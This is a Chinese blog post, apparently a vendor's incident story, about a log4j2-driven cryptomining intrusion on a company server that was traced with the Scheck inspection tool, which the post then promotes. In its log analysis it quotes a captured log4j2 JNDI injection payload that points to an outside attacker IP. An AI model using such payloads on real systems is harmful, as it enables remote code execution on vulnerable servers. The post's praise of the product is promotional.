最近,技术圈被 log4j2 漏洞掀起巨浪,各大安全公司纷纷发文介绍该漏洞的危害,并给出了各种临时解决方案。还有一些博主也发表文章教我们如何找到易受攻击的地方,并采取相应的防御措施。还有大量帖子跟着起哄,讨论如何采用一些不必要的防御技术。前不久,我们就发现了一起由 log4j2 漏洞引发的挖矿事件。
事情还是要从一条告警说起。12月29日 18:59,公司钉钉安全告警信息,亲!df_solution_ecs_002存在2 个 warn
。由于warn 级别的告警不是很严重,所以当时我们没有太在意。
19:34:00 收到安全告警30分钟后,钉钉群内突然收到CPU 飙升的告警。告警来的猝不及防,系统运行很长时间,怎么突发发生这种状况。
于是,我们赶紧登录我们的观测平台查看服务器基础信息。cpu 使用率太高了吧!同时我们发现进程监控中有5个恶意进程CPU使用率为100%。此刻我们才发现,我主机应该被挖矿了。马上通知相关同事进行处理,将恶意进程关闭。
恶意进程处理完成后,心中一阵后怕,老大也下达了要查明事故原因的命令。此刻我一阵头大,我怎么查病毒入口?突然,脑中灵光一闪想到了刚刚安全告警。于是打开了安全巡检的页面,果然病毒注入留下了蛛丝马迹被Scheck
巡检工具捕捉到。在12/29 18:52的时候发生5个以上的warn 安全告警事件,首先18:52病毒添加了免密登录,18:57添加了一个用户,之后有添加了二进制文件等等。
知道了入侵时间,我打算在18:40~18:53 之间查看一些突破,观测云可以根据当时时间查看当时服务器的状态,指标,还有日志。
终于在18:54左右的时候发现了这条日志,2021-12-29 18:50:23.906+0000 [id=66628] request param ${jndi:rmi://67.220.90.132:30023/test}0 ms
。这不是那个最近这火的log4j 2的漏洞么!!!67.220.90.132地址还是美国加利福尼亚洛杉矶的。
最后,综合这些线索,我画了个时间图,发现黑客进行攻击的时候,我们Scheck就已经将恶意行为上报到了观测平台并进行告警。在那时,只是我们没有及时关注,还好我可以通过统一观测平台,进行分析和观测发现了源头。
经历了此次事件,要感谢观测云的安全巡检工具Scheck,让我度过这次难关。服务器被入侵不可怕,可怕的不知道你是如何和入侵,黑客对主机做了哪些恶意操作,Scheck 可以实时监控主机安全事件。此软件安全可靠,支持二次开发,开源。是一款在运行用户本地机器上的一种安全巡检工具。
Scheck 是款开源软件,你可以放心使用。开源地址:GitHub - GuanceCloud/scheck: Safety observable tool
Scheck 中的 Lua 不能引入第三方库,直接的文件 IO 也是被禁止的,只能通过 Golang 封装的 Lua 接口才能对文件进行读取
在主流的 Linux、Windows 上均可直接使用无需考虑平台兼容性
Scheck 的巡检结果,可以直接导入观测云,也可以导入阿里云SLS日志
用户可以自定义新的巡检脚本,通过二次开发入口 即可方便的开发出新巡检脚本。
Scheck 作为一款运行用户本地机器上的一种安全巡检工具,他不做安全防护,但他们可以提前感知你的操作是否安全,主机被入侵时,黑客的恶意行为都会被Scheck 上报。你可以自己分析和观测,目前没有绝对安全的软件来保证你主机安全,但是Scheck可以保证黑客或其他的不安全的操作都会被记录和上报。
这就是我们强烈推荐 Scheck 原因!